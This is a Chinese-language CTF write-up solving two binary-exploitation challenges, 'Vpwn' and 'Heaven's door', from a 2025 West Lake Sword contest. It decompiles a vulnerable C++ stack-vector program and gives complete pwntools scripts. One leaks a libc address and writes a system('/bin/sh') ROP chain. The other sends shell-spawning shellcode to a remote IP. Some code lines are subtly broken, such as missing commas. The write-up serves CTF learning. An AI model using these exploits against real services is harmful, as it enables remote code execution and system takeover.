第八届西湖论剑·中国杭州网络安全安全技能大赛CTF夺旗赛PWN题部分题解

第八届西湖论剑·中国杭州网络安全安全技能大赛CTF夺旗赛PWN题部分题解

PWN Vpwn

下载附件,里面两个文件一个Vpwn,一个库文件,先check一下Vpwn文件看看

64位保护全开,拖进IDA中进行分析,查看main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // ebx
int v5; // [rsp+8h] [rbp-68h] BYREF
int v6; // [rsp+Ch] [rbp-64h] BYREF
unsigned __int64 v7; // [rsp+10h] [rbp-60h] BYREF
char v8[40]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v9; // [rsp+58h] [rbp-18h]

  v9 = __readfsqword(0x28u);  // 栈保护机制(Canary)
  setvbuf(stdin0LL, 20LL);
  setvbuf(stdout0LL, 20LL);
  setvbuf(stderr0LL, 20LL);
  sub_1840((__int64)v8);  // 初始化向量
while ( 1 )
  {
    // 打印菜单
    std::operator<<<std::char_traits<char>>(&std::cout"\nMenu:\n");
    std::operator<<<std::char_traits<char>>(&std::cout"1. Edit an element in the vector\n");
    std::operator<<<std::char_traits<char>>(&std::cout"2. Push a new element\n");
    std::operator<<<std::char_traits<char>>(&std::cout"3. Pop the last element\n");
    std::operator<<<std::char_traits<char>>(&std::cout"4. Print vector\n");
    std::operator<<<std::char_traits<char>>(&std::cout"5. Exit\n");
    std::operator<<<std::char_traits<char>>(&std::cout"Enter your choice: ");
    std::istream::operator>>(&std::cin, &v5);  // 读取用户选择

    switch ( v5 )
    {
      case1:  // 编辑元素
        std::operator<<<std::char_traits<char>>(&std::cout"Enter the index to edit (0-based): ");
        std::istream::operator>>(&std::cin, &v7);  // 读取索引
        std::operator<<<std::char_traits<char>>(&std::cout"Enter the new value: ");
        std::istream::operator>>(&std::cin, &v6);  // 读取新值
        v3 = v6;
        *(_DWORD *)sub_185C((__int64)v8, v7) = v3;  // 修改元素
        std::operator<<<std::char_traits<char>>(&std::cout"Element updated successfully.\n");
        break;
      case2:  // 推入元素
        std::operator<<<std::char_traits<char>>(&std::cout"Enter the value to push: ");
        std::istream::operator>>(&std::cin, &v7);  // 读取值
        sub_18F4((__int64)v8, (int *)&v7);  // 推入元素
        std::operator<<<std::char_traits<char>>(&std::cout"Element pushed successfully.\n");
        break;
      case3:  // 弹出元素
        sub_1928((__int64)v8);  // 弹出元素
        std::operator<<<std::char_traits<char>>(&std::cout"Last element popped successfully.\n");
        break;
      case4:  // 打印向量
        sub_19BC((__int64)v8);  // 打印向量内容
        break;
      case5:  // 退出程序
        std::operator<<<std::char_traits<char>>(&std::cout"Exiting program.\n");
        return0LL;
      default:
        std::operator<<<std::char_traits<char>>(&std::cout"Invalid choice! Please enter a valid option.\n");
        break;
    }
  }
}

大致可以得出程序的基本功能 通过菜单选项来操作一个向量(StackVector)。主要功能包括:编辑元素,推入元素,弹出元素,打印向量,退出程序

跟进一下sub_1840函数(是初始化向量)

函数初始化向量,将向量的大小设置为 0。

接着看其他功能函数sub_185C函数(编辑元素)

简要分析一下

__int64 __fastcall sub_185C(__int64 a1, unsigned __int64 a2)
{
std::out_of_range *exception; // rbx

if ( a2 >= *(_QWORD *)(a1 + 24) )  // 检查索引是否越界
  {
    exception = (std::out_of_range *)__cxa_allocate_exception(0x10uLL);
    std::out_of_range::out_of_range(exception, "Index out of range");
    __cxa_throw(
      exception,
      (struct type_info *)&`typeinfo for'std::out_of_range,
      (void (__fastcall *)(void *))&std::out_of_range::~out_of_range);
  }
return4 * a2 + a1;  // 返回元素地址
}

函数主要用于编辑向量中的元素,虽然函数检查了索引是否越界,但如果索引为负数,会导致未定义行为。没什么用接着跟进其他功能函数sub_18F4函数(推入元素)

分析一下,发现漏洞点

__int64 __fastcall sub_18F4(__int64 a1, int *a2)
{
  int v2; // ecx
  __int64 result; // rax

  v2 = *a2;
  result = *(_QWORD *)(a1 + 24);  // 获取当前大小
  *(_QWORD *)(a1 + 24) = result + 1;  // 增加大小
  *(_DWORD *)(a1 + 4 * result) = v2;  // 写入新元素
  return result;
}

用于向向量中推入一个新元素。没有检查向量是否已满,导致堆栈溢出。

接着分析,跟进下sub_1928函数

分析一下

__int64 __fastcall sub_1928(__int64 a1)
{
std::out_of_range *exception; // rbx
  __int64 result; // rax

if ( !*(_QWORD *)(a1 + 24) )  // 检查向量是否为空
  {
    exception = (std::out_of_range *)__cxa_allocate_exception(0x10uLL);
    std::out_of_range::out_of_range(exception, "StackVector is empty");
    __cxa_throw(
      exception,
      (struct type_info *)&`typeinfo for'std::out_of_range,
      (void (__fastcall *)(void *))&std::out_of_range::~out_of_range);
  }
  result = a1;
  --*(_QWORD *)(a1 + 24);  // 减少大小
return result;
}

函数主要从向量中弹出最后一个元素。没有释放内存,可能会内存泄漏。

分析下最后一个功能函数sub_19BC函数

分析一下

__int64 __fastcall sub_19BC(__int64 a1)
{
  __int64 v1; // rax
unsigned __int64 i; // [rsp+18h] [rbp-8h]

std::operator<<<std::char_traits<char>>(&std::cout"StackVector contents: ");
for ( i = 0LL; i < *(_QWORD *)(a1 + 24); ++i )  // 遍历向量
  {
    v1 = std::ostream::operator<<(&std::cout, *(unsignedint *)(a1 + 4 * i));  // 打印元素
    std::operator<<<std::char_traits<char>>(v1, " ");
  }
returnstd::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
}

函数实现了打印向量中的所有元素,但是没有检查向量大小,可以越界访问,

分析完了总结下漏洞点

sub_18F4函数中,推入元素时没有检查向量是否已满,可能导致堆栈溢出。在sub_185C函数中,索引为负数时可能导致未定义行为。通过打印向量内容,可以泄露堆栈上的数据,包括 libc 地址。通过编辑向量中的元素,可以构造 ROP 链,利用 libc 中的函数(如system)来执行任意命令。

确定下思路开始编写exp

首先先推入多个元素,使向量中存储堆栈上的数据,打印向量内容,获取 libc 地址,然后计算下libc基地址,然后构造ROP链,分别计算system/bin/shpop_rdi的地址在ROP链中构造出system("/bin/sh"),通过编辑功能将ROP链写入,最后选择退出程序,触发 ROP 链的执行。获取shell

开始编写exp

完整exp如下:

from pwn import *
libc = ELF('./libc.so.6')
io = remote('139.155.126.78'17615)
def command(option):
    io.sendlineafter(b'choice', str(option).encode())
def edit(idx, content=b'1'):
    command(1)
    io.recvuntil(b'edit')
    io.sendline(str(idx).encode())
    io.recvuntil(b'value')
    io.sendline(str(content).encode())
def dword_data(data, half):
    if half == 0:
        tmp = data & 0xffffffff
    else:
        tmp = (data >> 32) & 0xffffffff
    if tmp > 0x7FFFFFFF:
        tmp -= 2**32
    return tmp
for i in range(8):
    command(2)
    io.recvuntil(b'push')
    io.sendline(b'888')
command(4)
io.recvuntil(b'StackVector contents: ')
vector_data = io.recvuntil(b'\n').split(b' ')
libc_addr = (int(vector_data[19]) << 32) + (int(vector_data[18]) & 0xffffffff)
libcbase = libc_addr - 0x29d90
system = libcbase + libc.symbols['system']
str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
pop_rdi = libcbase + 0x2a3e5
rop_index = 18
#构造ROP链
edit(rop_index, dword_data(pop_rdi + 10)) 
edit(rop_index + 1, dword_data(pop_rdi + 11))  
edit(rop_index + 2, dword_data(pop_rdi, 0)) 
edit(rop_index + 3, dword_data(pop_rdi, 1))  
edit(rop_index + 4, dword_data(str_bin_sh, 0))  
edit(rop_index + 5, dword_data(str_bin_sh, 1)) 
edit(rop_index + 6, dword_data(system, 0))  
edit(rop_index + 7, dword_data(system, 1))  
command(5)
io.interactive()


Heaven's door

下载附件先check一下

img

64位部分保护开启,拖进IDA中进行分

分析主函数

img

调用fork()创建子进程。父进程:使用mmap分配一块内存(地址0x10000,大小0x1000)。从标准输入读取最多0xC3字节的数据到分配的内存中。调用count_syscall_instructions检查输入的数据中是否包含超过 2 个系统调用指令(syscallint 0x80)。如果系统调用指令超过 2 个,程序退出。否则,调用sandbox设置沙箱规则,并执行用户输入的代码。子进程:调用made_in_heaven输出一些字符串。

跟进分析一下sandbox函数:

img

使用prctl设置沙箱规则,限制程序的行为(例如禁止创建新进程、禁止执行某些系统调用等)。

接着分析count_syscall_instructions函数

img

检查用户输入的代码中是否包含系统调用指令(0x0F 0x050xCD 0x80

接着分析made_in_heaven 函数

img

输出一些字符串,模拟程序的行为

整个大开分析一下,程序限制了系统调用的数量(最多 2 个),构造一个 payload,确保其中的系统调用指令不超过 2 个,同时能够实现目标(例如获取 shell)。

思路确定编写脚本

from pwn import *

context.arch = 'amd64'

shellcode = asm(shellcraft.sh())

syscall_count = shellcode.count(b'\x0f\x05')  
if syscall_count > 2:
    print("Shellcode contains too many syscalls!")
    exit(1)
print(f"Generated shellcode (syscall count: {syscall_count}):")
print(hexdump(shellcode))
io = remote('139.155.126.78'32350)
io.send(shellcode)
io.interactive()
img

感兴趣的师傅可以试试题目附件:

通过网盘分享的文件:2025西湖论剑PWN题 链接: https://pan.baidu.com/s/1e2l_7BNq1Bk02WlgUu2QkQ?pwd=1111 提取码: 1111 --来自百度网盘超级会员v3的分享


查看原文